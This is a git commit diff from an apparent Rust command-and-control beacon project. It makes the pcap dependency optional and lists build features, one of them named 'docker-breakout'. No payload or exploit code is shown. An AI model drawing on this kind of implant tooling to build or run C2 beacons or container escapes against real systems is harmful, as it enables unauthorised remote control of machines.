Finished adding a basic flake

It can now build the Linux C2 beacon
This commit is contained in:
Andrew Rioux
2024-01-23 23:26:58 -05:00
parent b2278cc8e8
commit 4475d23d1d
10 changed files with 94 additions and 41 deletions

View File

@@ -16,13 +16,13 @@ catconf = "0.1.2"
sparse-05-common = { version = "0.1.0", path = "../sparse-05-common" }
ecies-ed25519 = { version = "0.5.1", features = ["serde"] }
packets = { path = "../../packets" }
[target.'cfg(unix)'.dependencies]
pcap-sys = { path = "../../pcap-sys" }
pcap-sys = { path = "../../pcap-sys", optional = true }
[build-dependencies]
cc = "1.0"
[features]
default = ["pcap"]
docker-breakout = []
exit = []
pcap = ["dep:pcap-sys"]

View File

@@ -9,7 +9,7 @@ use packets::{self, EthernetPkt};
use sparse_05_common::messages::TransportType;
pub enum Interface {
#[cfg(target_os = "linux")]
#[cfg(feature = "pcap")]
RawUdp(pcap_sys::Interface<pcap_sys::DevActivated>, u16),
Udp(UdpSocket, u16),
}